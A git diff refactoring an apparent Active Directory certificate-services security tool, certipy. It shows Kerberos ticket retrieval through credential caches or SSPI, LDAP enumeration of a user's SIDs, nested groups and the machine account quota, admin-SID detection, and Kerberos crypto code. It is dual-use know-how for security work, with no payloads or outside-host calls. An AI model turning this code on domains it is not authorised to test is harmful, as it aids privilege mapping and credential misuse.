+ "KDC_ERR_PREAUTH_EXPIRED", + "The conversation is too old and needs to restart", + ), + 91: ( + "KDC_ERR_MORE_PREAUTH_DATA_REQUIRED", + "Additional pre-authentication required", + ), + 92: ( + "KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET", + "KDC cannot accommodate requested padata element", + ), + 93: ("KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS", "Unknown critical option"), + } + ) + + +def translate_error_code(error_code: int) -> str: + error_code &= 0xFFFFFFFF + if error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[error_code][1] + return "code: 0x%x - %s - %s" % ( + error_code, + error_msg_short, + error_msg_verbose, + ) + else: + return "unknown error code: 0x%x" % error_code diff --git a/certipy/formatting.py b/certipy/lib/formatting.py old mode 100644 new mode 100755 similarity index 73% rename from certipy/formatting.py rename to certipy/lib/formatting.py index 4c3a20b..e994cd5 --- a/certipy/formatting.py +++ b/certipy/lib/formatting.py @@ -1,4 +1,6 @@ -from typing import Callable +from typing import Callable, List, Tuple + +from certipy.lib.logger import logging def to_pascal_case(snake_str: str) -> str: @@ -43,3 +45,17 @@ def pretty_print( else: # Shouldn't end up here raise NotImplementedError("Not implemented: %s" % type(d)) + + +def print_certificate_identifications(identifications: List[Tuple[str, str]]): + if len(identifications) > 1: + logging.info("Got certificate with multiple identifications") + for id_type, id_value in identifications: + print(" %s: %s" % (id_type, repr(id_value))) + elif len(identifications) == 1: + logging.info( + "Got certificate with %s %s" + % (identifications[0][0], repr(identifications[0][1])) + ) + else: + logging.info("Got certificate without identification") diff --git a/certipy/kerberos.py b/certipy/lib/kerberos.py old mode 100644 new mode 100755 similarity index 62% rename from certipy/kerberos.py rename to certipy/lib/kerberos.py index e3c6423..80c3d56 --- a/certipy/kerberos.py +++ b/certipy/lib/kerberos.py @@ -1,5 +1,4 @@ import datetime -import logging import os from typing import Tuple @@ -13,23 +12,25 @@ from pyasn1.codec.ber import decoder, encoder from pyasn1.type.univ import noValue +from certipy.lib.logger import logging +from certipy.lib.target import Target + def get_TGS( - username: str = "", - password: str = "", - domain: str = "", - lmhash: str = "", - nthash: str = "", - aes_key: str = "", - TGT: dict = None, - TGS: dict = None, - target_name: str = "", + target: Target, + target_name, service: str = "host", - kdc_host: str = None, - use_cache: bool = True, -) -> Tuple[bytes, type, Key]: +) -> Tuple[bytes, type, Key, str, str]: # Modified version of impacket.krb5.kerberosv5.getKerberosType1 to just return the tgs + username = target.username + password = target.password + domain = target.domain + lmhash = target.lmhash + nthash = target.nthash + aes_key = target.aes + kdc_host = target.dc_ip + # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: @@ -47,71 +48,76 @@ def get_TGS( except TypeError: pass - if TGT is None and TGS is None: - if use_cache is True: - try: - ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) - except Exception: - # No cache present - pass - else: - # retrieve domain information from CCache file if needed - ccache_domain = ccache.principal.realm["data"].decode("utf-8") + TGT = None + TGS = None - if domain == "": - domain = ccache_domain - logging.debug("Domain retrieved from CCache: %s" % domain) + if target.use_sspi: + from certipy.lib.sspi import get_tgt - ccache_username = "/".join( - map(lambda x: x["data"].decode(), ccache.principal.components) - ) + server_name = "%s/%s" % (service, target_name) - logging.debug("Using Kerberos Cache: %s" % os.getenv("KRB5CCNAME")) - principal = "%s/%s@%s" % (service, target_name.upper(), domain.upper()) - creds = ccache.getCredential(principal, anySPN=False) - if creds is None: - # Let's try for the TGT and go from there - principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - logging.debug("Using TGT from cache") - else: - logging.debug("No valid credentials found in cache. ") - else: - TGS = creds.toTGS(principal) + logging.debug("Trying to get TGS for %s via SSPI" % repr(server_name)) + ccache = get_tgt(server_name) - # retrieve user information from CCache file if needed - if creds is not None: - ccache_username = ( - creds["client"].prettyPrint().split(b"@")[0].decode("utf-8") - ) - logging.debug( - "Username retrieved from CCache: %s" % ccache_username - ) - elif len(ccache.principal.components) > 0: - ccache_username = ccache.principal.components[0]["data"].decode( - "utf-8" - ) - logging.debug( - "Username retrieved from CCache: %s" % ccache_username - ) + TGT = ccache.credentials[0].toTGT() + else: + try: + ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) + except Exception: + # No cache present + pass + if ccache: + # retrieve domain information from CCache file if needed + ccache_domain = ccache.principal.realm["data"].decode("utf-8") - if ccache_username.lower() != username.lower(): - logging.warning( - "Username %s does not match username in CCache %s" - % (repr(username), repr(ccache_username)) - ) - TGT = None - TGS = None + if domain == "": + domain = ccache_domain + logging.debug("Domain retrieved from CCache: %s" % domain) + + ccache_username = "/".join( + map(lambda x: x["data"].decode(), ccache.principal.components) + ) + + logging.debug("Using Kerberos Cache: %s" % os.getenv("KRB5CCNAME")) + principal = "%s/%s@%s" % (service, target_name.upper(), domain.upper()) + creds = ccache.getCredential(principal, anySPN=False) + if creds is None: + # Let's try for the TGT and go from there + principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug("Using TGT from cache") else: - username = ccache_username + logging.debug("No valid credentials found in cache. ") + else: + TGS = creds.toTGS(principal) - if ccache_domain.lower() != domain.lower(): - logging.warning( - "Domain %s does not match domain in CCache %s" - % (repr(domain), repr(ccache_domain)) - ) + # retrieve user information from CCache file if needed + if creds is not None: + ccache_username = ( + creds["client"].prettyPrint().split(b"@")[0].decode("utf-8") + ) + logging.debug("Username retrieved from CCache: %s" % ccache_username) + elif len(ccache.principal.components) > 0: + ccache_username = ccache.principal.components[0]["data"].decode("utf-8") + logging.debug("Username retrieved from CCache: %s" % ccache_username) + + if ccache_username.lower() != username.lower(): + logging.warning( + "Username %s does not match username in CCache %s" + % (repr(username), repr(ccache_username)) + ) + TGT = None + TGS = None + else: + username = ccache_username + + if ccache_domain.lower() != domain.lower(): + logging.warning( + "Domain %s does not match domain in CCache %s" + % (repr(domain), repr(ccache_domain)) + ) # First of all, we need to get a TGT for the user username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) @@ -172,6 +178,7 @@ def get_TGS( tgs, cipher, _, session_key = getKerberosTGS( server_name, domain, kdc_host, tgt, cipher, session_key ) + logging.debug("Got TGS for %s" % repr("%s/%s" % (service, target_name))) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: @@ -203,39 +210,25 @@ def get_TGS( session_key = TGS["sessionKey"] break - return tgs, cipher, session_key + ticket = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + client_name = Principal() + client_name.from_asn1(ticket, "crealm", "cname") + + username = "@".join(str(client_name).split("@")[:-1]) + domain = client_name.realm + + return tgs, cipher, session_key, username, domain def get_kerberos_type1( - username: str = "", - password: str = "", - domain: str = "", - lmhash: str = "", - nthash: str = "", - aes_key: str = "", - TGT: dict = None, - TGS: dict = None, + target: Target, target_name: str = "", service: str = "host", - kdc_host: str = None, - use_cache: bool = True, ) -> Tuple[type, Key, bytes]: - tgs, cipher, session_key = get_TGS( - username, - password, - domain, - lmhash, - nthash, - aes_key, - TGT, - TGS, - target_name, - service, - kdc_host, - use_cache, - ) + tgs, cipher, session_key, username, domain = get_TGS(target, target_name, service) - username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) blob = SPNEGO_NegTokenInit() @@ -256,7 +249,7 @@ def get_kerberos_type1( authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = domain - seq_set(authenticator, "cname", username.components_to_asn1) + seq_set(authenticator, "cname", principal.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond @@ -274,4 +267,4 @@ def get_kerberos_type1( blob["MechToken"] = encoder.encode(ap_req) - return cipher, session_key, blob.getData() + return cipher, session_key, blob.getData(), username diff --git a/certipy/ldap.py b/certipy/lib/ldap.py old mode 100644 new mode 100755 similarity index 59% rename from certipy/ldap.py rename to certipy/lib/ldap.py index 83a139f..1036360 --- a/certipy/ldap.py +++ b/certipy/lib/ldap.py @@ -1,4 +1,3 @@ -import logging import ssl from typing import Any, List, Union @@ -6,8 +5,27 @@ from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED from ldap3.protocol.microsoft import security_descriptor_control -from certipy.kerberos import get_kerberos_type1 -from certipy.target import Target +from certipy.lib.constants import WELLKNOWN_SIDS +from certipy.lib.kerberos import get_kerberos_type1 +from certipy.lib.logger import logging +from certipy.lib.target import Target + + +# https://github.com/fox-it/BloodHound.py/blob/d665959c58d881900378040e6670fa12f801ccd4/bloodhound/ad/utils.py#L216 +def get_account_type(entry: "LDAPEntry"): + account_type = entry.get("sAMAccountType") + if account_type in [268435456, 268435457, 536870912, 536870913]: + return "Group" + elif entry.get("msDS-GroupMSAMembership"): + return "User" + elif account_type in [805306369]: + return "Computer" + elif account_type in [805306368]: + return "User" + elif account_type in [805306370]: + return "trustaccount" + else: + return "Domain" class LDAPEntry(dict): @@ -45,6 +63,13 @@ def __init__(self, target: Target, scheme: str = "ldaps"): self.ldap_conn: ldap3.Connection = None self.domain: str = None + self.sid_map = {} + + self._machine_account_quota = None + self._domain_sid = None + self._users = {} + self._user_sids = {} + def connect(self, version: ssl._SSLMethod = None) -> None: user = "%s\\%s" % (self.target.domain, self.target.username) @@ -80,7 +105,7 @@ def connect(self, version: ssl._SSLMethod = None) -> None: logging.debug("Authenticating to LDAP server") - if self.target.do_kerberos: + if self.target.do_kerberos or self.target.use_sspi: ldap_conn = ldap3.Connection(ldap_server) self.LDAP3KerberosLogin(ldap_conn) else: @@ -148,19 +173,18 @@ def connect(self, version: ssl._SSLMethod = None) -> None: self.domain = self.ldap_server.info.other["ldapServiceName"][0].split("@")[-1] def LDAP3KerberosLogin(self, connection: ldap3.Connection) -> bool: - target = self.target - _, _, blob = get_kerberos_type1( - target.username, - target.password, - target.domain, - target.lmhash, - target.nthash, - target_name=target.remote_name, - kdc_host=target.dc_ip, + _, _, blob, username = get_kerberos_type1( + self.target, + target_name=self.target.remote_name, ) request = ldap3.operation.bind.bind_operation( - connection.version, ldap3.SASL, target.username, None, "GSS-SPNEGO", blob + connection.version, + ldap3.SASL, + username, + None, + "GSS-SPNEGO", + blob, ) if connection.closed: @@ -242,9 +266,16 @@ def get_user( self, username: str, silent: bool = False, *args, **kwargs ) -> LDAPEntry: def _get_user(username, *args, **kwargs): + sanitized_username = username.lower().strip() + if sanitized_username in self._users: + return self._users[sanitized_username] + results = self.search("(sAMAccountName=%s)" % username, *args, **kwargs) if len(results) != 1: return None + + self._users[sanitized_username] = results[0] + return results[0] user = _get_user(username, *args, **kwargs) @@ -255,3 +286,145 @@ def _get_user(username, *args, **kwargs): logging.error("Could not find user %s" % repr(username)) return user + + @property + def machine_account_quota(self): + if self._machine_account_quota is not None: + return self._machine_account_quota + results = self.search( + "(objectClass=domain)", + attributes=[ + "ms-DS-MachineAccountQuota", + ], + ) + if len(results) != 1: + return None + + result = results[0] + machine_account_quota = result.get("ms-DS-MachineAccountQuota") + if machine_account_quota is None: + machine_account_quota = 0 + + self._machine_account_quota = machine_account_quota + + return machine_account_quota + + @property + def domain_sid(self): + if self._domain_sid is not None: + return self._domain_sid + + results = self.search( + "(objectClass=domain)", + attributes=[ + "objectSid", + ], + ) + if len(results) != 1: + return None + + result = results[0] + domain_sid = result.get("objectSid") + if domain_sid is None: + domain_sid = None + + self._domain_sid = domain_sid + + return domain_sid + + def get_user_sids(self, username: str): + sanitized_username = username.lower().strip() + if sanitized_username in self._user_sids: + return self._user_sids[sanitized_username] + + user = self.get_user(username) + + sids = set() + + sids.add(user.get("objectSid")) + + # Everyone, Authenticated Users, Users + sids |= set(["S-1-1-0", "S-1-5-11", "S-1-5-32-545"]) + + # Domain Users, Domain Computers, etc. + primary_group_id = user.get("primaryGroupID") + if primary_group_id is not None: + sids.add("%s-%d" % (self.domain_sid, primary_group_id)) + + # Add Domain Computers group if Machine Account Quota > 0 + if self.machine_account_quota > 0: + logging.debug( + "Adding Domain Computers to list of current user's SIDs (Machine Account Quota: %d > 0)" + % self.machine_account_quota + ) + sids.add("%s-515" % self.domain_sid) + + dns = [user.get("distinguishedName")] + for sid in sids: + object = self.lookup_sid(sid) + if "dn" in object: + dns.append(object["dn"]) + + member_of_queries = [] + for dn in dns: + member_of_queries.append("(member:1.2.840.113556.1.4.1941:=%s)" % dn) + + # Nested Group Membership + groups = self.search( + "(|%s)" % "".join(member_of_queries), + attributes="objectSid", + ) + + for group in groups: + sid = group.get("objectSid") + if sid is not None: + sids.add(sid) + + self._user_sids[sanitized_username] = sids + + return sids + + def lookup_sid(self, sid: str) -> LDAPEntry: + if sid in self.sid_map: + return self.sid_map[sid] + + if sid in WELLKNOWN_SIDS: + return LDAPEntry( + **{ + "attributes": { + "objectSid": "%s-%s" % (self.domain.upper(), sid), + "objectType": WELLKNOWN_SIDS[sid][1].capitalize(), + "name": "%s\\%s" % (self.domain, WELLKNOWN_SIDS[sid][0]), + } + } + ) + + results = self.search( + "(objectSid=%s)" % sid, + attributes=[ + "sAMAccountType", + "name", + "msDS-GroupMSAMembership", + "objectSid", + ], + ) + + if len(results) != 1: + logging.warning("Failed to lookup user with SID %s" % repr(sid)) + entry = LDAPEntry( + **{ + "attributes": { + "objectSid": sid, + "name": sid, + "objectType": "Base", + } + } + ) + else: + entry = results[0] + entry.set("name", "%s\\%s" % (self.domain, entry.get("name"))) + entry.set("objectType", get_account_type(entry)) + + self.sid_map[sid] = entry + + return entry diff --git a/certipy/lib/logger.py b/certipy/lib/logger.py new file mode 100755 index 0000000..daf9ed4 --- /dev/null +++ b/certipy/lib/logger.py @@ -0,0 +1,73 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This logger is intended to be used by impacket instead +# of printing directly. This will allow other libraries to use their +# custom logging implementation. +# + +import logging as _logging +import sys + +# This module can be used by scripts using the Impacket library +# in order to configure the root logger to output events +# generated by the library with a predefined format + +# If the scripts want to generate log entries, they can write +# directly to the root logger (logging.info, debug, etc). + + +class ImpacketFormatter(_logging.Formatter): + """ + Prefixing logged messages through the custom attribute 'bullet'. + """ + + def __init__(self): + _logging.Formatter.__init__(self, "%(bullet)s %(message)s", None) + + def format(self, record): + if record.levelno == _logging.INFO: + record.bullet = "[*]" + elif record.levelno == _logging.DEBUG: + record.bullet = "[+]" + elif record.levelno == _logging.WARNING: + record.bullet = "[!]" + else: + record.bullet = "[-]" + + return _logging.Formatter.format(self, record) + + +class ImpacketFormatterTimeStamp(ImpacketFormatter): + """ + Prefixing logged messages through the custom attribute 'bullet'. + """ + + def __init__(self): + _logging.Formatter.__init__( + self, "[%(asctime)-15s] %(bullet)s %(message)s", None + ) + + def formatTime(self, record, datefmt=None): + return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") + + +def init(ts=False): + # We add a StreamHandler and formatter to the root logger + handler = _logging.StreamHandler(sys.stdout) + if not ts: + handler.setFormatter(ImpacketFormatter()) + else: + handler.setFormatter(ImpacketFormatterTimeStamp()) + _logging.getLogger("certipy").addHandler(handler) + _logging.getLogger("certipy").setLevel(_logging.INFO) + _logging.getLogger("certipy").propagate = False + + +logging = _logging.getLogger("certipy") diff --git a/certipy/pkinit.py b/certipy/lib/pkinit.py old mode 100644 new mode 100755 similarity index 99% rename from certipy/pkinit.py rename to certipy/lib/pkinit.py index 6dbcae0..0edff5d --- a/certipy/pkinit.py +++ b/certipy/lib/pkinit.py @@ -14,7 +14,7 @@ from pyasn1.codec.der import encoder from pyasn1.type.univ import noValue -from certipy.certificate import ( +from certipy.lib.certificate import ( cert_to_der, hash_digest, hashes, diff --git a/certipy/rpc.py b/certipy/lib/rpc.py old mode 100644 new mode 100755 similarity index 87% rename from certipy/rpc.py rename to certipy/lib/rpc.py index 1087d33..eb91344 --- a/certipy/rpc.py +++ b/certipy/lib/rpc.py @@ -1,32 +1,31 @@ -import logging - from impacket import uuid from impacket.dcerpc.v5 import epm, rpcrt, transport from impacket.dcerpc.v5.dcomrt import DCOMConnection -from certipy.kerberos import get_TGS -from certipy.target import Target +from certipy.lib.kerberos import get_TGS +from certipy.lib.logger import logging +from certipy.lib.target import Target def get_dcom_connection(target: Target) -> DCOMConnection: TGS = None + + logging.debug("Trying to get DCOM connection for: %s" % target.target_ip) + username = target.username + domain = target.domain + if target.do_kerberos: - tgs, cipher, session_key = get_TGS( - target.username, - target.password, - target.domain, - target.lmhash, - target.nthash, + tgs, cipher, session_key, username, domain = get_TGS( + target, target_name=target.remote_name, - kdc_host=target.dc_ip, ) TGS = {"KDC_REP": tgs, "cipher": cipher, "sessionKey": session_key} dcom = DCOMConnection( target.target_ip, - username=target.username, + username=username, password=target.password, - domain=target.domain, + domain=domain, lmhash=target.lmhash, nthash=target.nthash, TGS=TGS, @@ -58,23 +57,21 @@ def get_dce_rpc_from_string_binding( rpctransport.set_connect_timeout(timeout) rpctransport.set_kerberos(target.do_kerberos, kdcHost=target.dc_ip) + username = target.username + domain = target.domain + TGS = None if target.do_kerberos: - tgs, cipher, session_key = get_TGS( - target.username, - target.password, - target.domain, - target.lmhash, - target.nthash, + tgs, cipher, session_key, username, domain = get_TGS( + target, target_name=remote_name, - kdc_host=target.dc_ip, ) TGS = {"KDC_REP": tgs, "cipher": cipher, "sessionKey": session_key} rpctransport.set_credentials( - target.username, + username, target.password, - target.domain, + domain, target.lmhash, target.nthash, TGS=TGS, diff --git a/certipy/security.py b/certipy/lib/security.py old mode 100644 new mode 100755 similarity index 82% rename from certipy/security.py rename to certipy/lib/security.py index 00ea9ae..cf2044d --- a/certipy/security.py +++ b/certipy/lib/security.py @@ -1,8 +1,12 @@ +import re + from impacket.ldap import ldaptypes from impacket.uuid import bin_to_string from ldap3.protocol.formatters.formatters import format_sid -from certipy.constants import ( +INHERITED_ACE = 0x10 + +from certipy.lib.constants import ( ACTIVE_DIRECTORY_RIGHTS, CERTIFICATE_RIGHTS, CERTIFICATION_AUTHORITY_RIGHTS, @@ -31,6 +35,7 @@ def __init__( self.aces[sid] = { "rights": self.RIGHTS_TYPE(0), "extended_rights": [], + "inherited": ace["AceFlags"] & INHERITED_ACE == INHERITED_ACE, } if ace["AceType"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: @@ -53,3 +58,11 @@ class CASecurity(ActiveDirectorySecurity): class CertifcateSecurity(ActiveDirectorySecurity): RIGHTS_TYPE = CERTIFICATE_RIGHTS + + +def is_admin_sid(sid: str): + return ( + re.match("^S-1-5-21-.+-(498|500|502|512|516|518|519|521)$", sid) is not None + or sid == "S-1-5-9" + or sid == "S-1-5-32-544" + ) diff --git a/certipy/lib/sspi/__init__ copy.py b/certipy/lib/sspi/__init__ copy.py new file mode 100644 index 0000000..e69de29 diff --git a/certipy/lib/sspi/__init__.py b/certipy/lib/sspi/__init__.py new file mode 100755 index 0000000..4e32beb --- /dev/null +++ b/certipy/lib/sspi/__init__.py @@ -0,0 +1 @@ +from .kerberos import get_tgs, get_tgt, submit_ticket diff --git a/certipy/lib/sspi/encryption.py b/certipy/lib/sspi/encryption.py new file mode 100755 index 0000000..00e5236 --- /dev/null +++ b/certipy/lib/sspi/encryption.py @@ -0,0 +1,906 @@ +# Copyright (C) 2013 by the Massachusetts Institute of Technology. +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED +# OF THE POSSIBILITY OF SUCH DAMAGE. + +# XXX current status: +# * Done and tested +# - AES encryption, checksum, string2key, prf +# - cf2 (needed for FAST) +# * Still to do: +# - DES enctypes and cksumtypes +# - RC4 exported enctype (if we need it for anything) +# - Unkeyed checksums +# - Special RC4, raw DES/DES3 operations for GSSAPI +# * Difficult or low priority: +# - Camellia not supported by PyCrypto +# - Cipher state only needed for kcmd suite +# - Nonstandard enctypes and cksumtypes like des-hmac-sha1 +# Original code was taken from impacket, ported to python3 by Tamas Jos (@skelsec) + +import functools +import os +import string +from binascii import unhexlify +from math import gcd +from struct import pack, unpack +from typing import Dict + +from unicrypto import hmac as HMAC +from unicrypto.hashlib import md4 +from unicrypto.hashlib import md5 as MD5 +from unicrypto.hashlib import sha1 as SHA +from unicrypto.pbkdf2 import pbkdf2 as PBKDF2 +from unicrypto.symmetric import AES, DES, MODE_CBC, MODE_ECB +from unicrypto.symmetric import RC4 as ARC4 +from unicrypto.symmetric import TDES as DES3 # , MODE_CBC, MODE_ECB + + +def get_random_bytes(lenBytes): + # We don't really need super strong randomness here to use PyCrypto.Random + return os.urandom(lenBytes) + + +class Enctype(object): + DES_CRC = 1 + DES_MD4 = 2 + DES_MD5 = 3 + DES3 = 16 + AES128 = 17 + AES256 = 18 + RC4 = 23 + + +class Cksumtype(object): + CRC32 = 1 + MD4 = 2 + MD4_DES = 3 + MD5 = 7 + MD5_DES = 8 + SHA1 = 9 + SHA1_DES3 = 12 + SHA1_AES128 = 15 + SHA1_AES256 = 16 + HMAC_MD5 = -138 + + +class InvalidChecksum(ValueError): + pass + + +def _zeropad(s, padsize): + # Return s padded with 0 bytes to a multiple of padsize. + padlen = (padsize - (len(s) % padsize)) % padsize + return s + b"\x00" * padlen + + +def _xorbytes(b1, b2): + # xor two strings together and return the resulting string. + assert len(b1) == len(b2) + t1 = int.from_bytes(b1, byteorder="big", signed=False) + t2 = int.from_bytes(b2, byteorder="big", signed=False) + return (t1 ^ t2).to_bytes(len(b1), byteorder="big", signed=False) + + +def _mac_equal(mac1, mac2): + # Constant-time comparison function. (We can't use HMAC.verify + # since we use truncated macs.) + assert len(mac1) == len(mac2) + res = 0 + for x, y in zip(mac1, mac2): + res |= x ^ y + return res == 0 + + +def _nfold(str, nbytes): + # Convert str to a string of length nbytes using the RFC 3961 nfold + # operation. + + # Rotate the bytes in str to the right by nbits bits. + def rotate_right(str, nbits): + num = int.from_bytes(str, byteorder="big", signed=False) + size = len(str) * 8 + nbits %= size + body = num >> nbits + remains = (num << (size - nbits)) - (body << size) + return (body + remains).to_bytes(len(str), byteorder="big", signed=False) + + # Add equal-length strings together with end-around carry. + def add_ones_complement(str1, str2): + n = len(str1) + v = [] + for i in range(0, len(str1), 1): + t = str1[i] + str2[i] + v.append(t) + + # v = [ord(a) + ord(b) for a, b in zip(str1, str2)] + # Propagate carry bits to the left until there aren't any left. + while any(x & ~0xFF for x in v): + v = [(v[i - n + 1] >> 8) + (v[i] & 0xFF) for i in range(n)] + return b"".join(x.to_bytes(1, byteorder="big", signed=False) for x in v) + + # Concatenate copies of str to produce the least common multiple + # of len(str) and nbytes, rotating each copy of str to the right + # by 13 bits times its list position. Decompose the concatenation + # into slices of length nbytes, and add them together as + # big-endian ones' complement integers. + slen = len(str) + lcm = int(nbytes * slen / gcd(nbytes, slen)) + bigstr = b"".join((rotate_right(str, 13 * i) for i in range(int(lcm / slen)))) + slices = (bigstr[p : p + nbytes] for p in range(0, lcm, nbytes)) + + return functools.reduce(add_ones_complement, slices) + + +def _is_weak_des_key(keybytes): + return keybytes in ( + b"\x01\x01\x01\x01\x01\x01\x01\x01", + b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE", + b"\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E", + b"\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1", + b"\x01\xFE\x01\xFE\x01\xFE\x01\xFE", + b"\xFE\x01\xFE\x01\xFE\x01\xFE\x01", + b"\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1", + b"\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E", + b"\x01\xE0\x01\xE0\x01\xF1\x01\xF1", + b"\xE0\x01\xE0\x01\xF1\x01\xF1\x01", + b"\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE", + b"\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E", + b"\x01\x1F\x01\x1F\x01\x0E\x01\x0E", + b"\x1F\x01\x1F\x01\x0E\x01\x0E\x01", + b"\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE", + b"\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1", + ) + + +class _EnctypeProfile(object): + # Base class for enctype profiles. Usable enctype classes must define: + # * enctype: enctype number + # * keysize: protocol size of key in bytes + # * seedsize: random_to_key input size in bytes + # * random_to_key (if the keyspace is not dense) + # * string_to_key + # * encrypt + # * decrypt + # * prf + + @classmethod + def random_to_key(cls, seed): + if len(seed) != cls.seedsize: + raise ValueError("Wrong seed length") + return Key(cls.enctype, seed) + + +class _SimplifiedEnctype(_EnctypeProfile): + # Base class for enctypes using the RFC 3961 simplified profile. + # Defines the encrypt, decrypt, and prf methods. Subclasses must + # define: + # * blocksize: Underlying cipher block size in bytes + # * padsize: Underlying cipher padding multiple (1 or blocksize) + # * macsize: Size of integrity MAC in bytes + # * hashmod: PyCrypto hash module for underlying hash function + # * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher + + @classmethod + def derive(cls, key, constant): + # RFC 3961 only says to n-fold the constant only if it is + # shorter than the cipher block size. But all Unix + # implementations n-fold constants if their length is larger + # than the block size as well, and n-folding when the length + # is equal to the block size is a no-op. + plaintext = _nfold(constant, cls.blocksize) + rndseed = b"" + while len(rndseed) < cls.seedsize: + ciphertext = cls.basic_encrypt(key, plaintext) + rndseed += ciphertext + plaintext = ciphertext + return cls.random_to_key(rndseed[0 : cls.seedsize]) + + @classmethod + def encrypt(cls, key, keyusage, plaintext, confounder): + ki = cls.derive(key, pack(">IB", keyusage, 0x55)) + ke = cls.derive(key, pack(">IB", keyusage, 0xAA)) + if confounder is None: + confounder = get_random_bytes(cls.blocksize) + basic_plaintext = confounder + _zeropad(plaintext, cls.padsize) + hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest() + return cls.basic_encrypt(ke, basic_plaintext) + hmac[: cls.macsize] + + @classmethod + def decrypt(cls, key, keyusage, ciphertext): + ki = cls.derive(key, pack(">IB", keyusage, 0x55)) + ke = cls.derive(key, pack(">IB", keyusage, 0xAA)) + if len(ciphertext) < cls.blocksize + cls.macsize: + raise ValueError("ciphertext too short") + basic_ctext, mac = ciphertext[: -cls.macsize], ciphertext[-cls.macsize :] + if len(basic_ctext) % cls.padsize != 0: + raise ValueError("ciphertext does not meet padding requirement") + basic_plaintext = cls.basic_decrypt(ke, basic_ctext) + hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest() + expmac = hmac[: cls.macsize] + if not _mac_equal(mac, expmac): + raise InvalidChecksum("ciphertext integrity failure") + # Discard the confounder. + return basic_plaintext[cls.blocksize :] + + @classmethod + def prf(cls, key, string): + # Hash the input. RFC 3961 says to truncate to the padding + # size, but implementations truncate to the block size. + hashval = cls.hashmod(string).digest() + truncated = hashval[: -(len(hashval) % cls.blocksize)] + # Encrypt the hash with a derived key. + kp = cls.derive(key, b"prf") + return cls.basic_encrypt(kp, truncated) + + +class _DESCBC(_SimplifiedEnctype): + enctype = Enctype.DES_MD5 + keysize = 8 + seedsize = 8 + blocksize = 8 + padsize = 8 + macsize = 16 + hashmod = MD5 + + @classmethod + def encrypt(cls, key, keyusage, plaintext, confounder): + if confounder is None: + confounder = get_random_bytes(cls.blocksize) + basic_plaintext = ( + confounder + "\x00" * cls.macsize + _zeropad(plaintext, cls.padsize) + ) + checksum = cls.hashmod.new(basic_plaintext).digest() + basic_plaintext = ( + basic_plaintext[: len(confounder)] + + checksum + + basic_plaintext[len(confounder) + len(checksum) :] + ) + return cls.basic_encrypt(key, basic_plaintext) + + @classmethod + def decrypt(cls, key, keyusage, ciphertext): + if len(ciphertext) < cls.blocksize + cls.macsize: + raise ValueError("ciphertext too short") + + complex_plaintext = cls.basic_decrypt(key, ciphertext) + cofounder = complex_plaintext[: cls.padsize] + mac = complex_plaintext[cls.padsize : cls.padsize + cls.macsize] + message = complex_plaintext[cls.padsize + cls.macsize :] + + expmac = cls.hashmod.new(cofounder + "\x00" * cls.macsize + message).digest() + if not _mac_equal(mac, expmac): + raise InvalidChecksum("ciphertext integrity failure") + return message + + @classmethod + def mit_des_string_to_key(cls, string, salt): + def 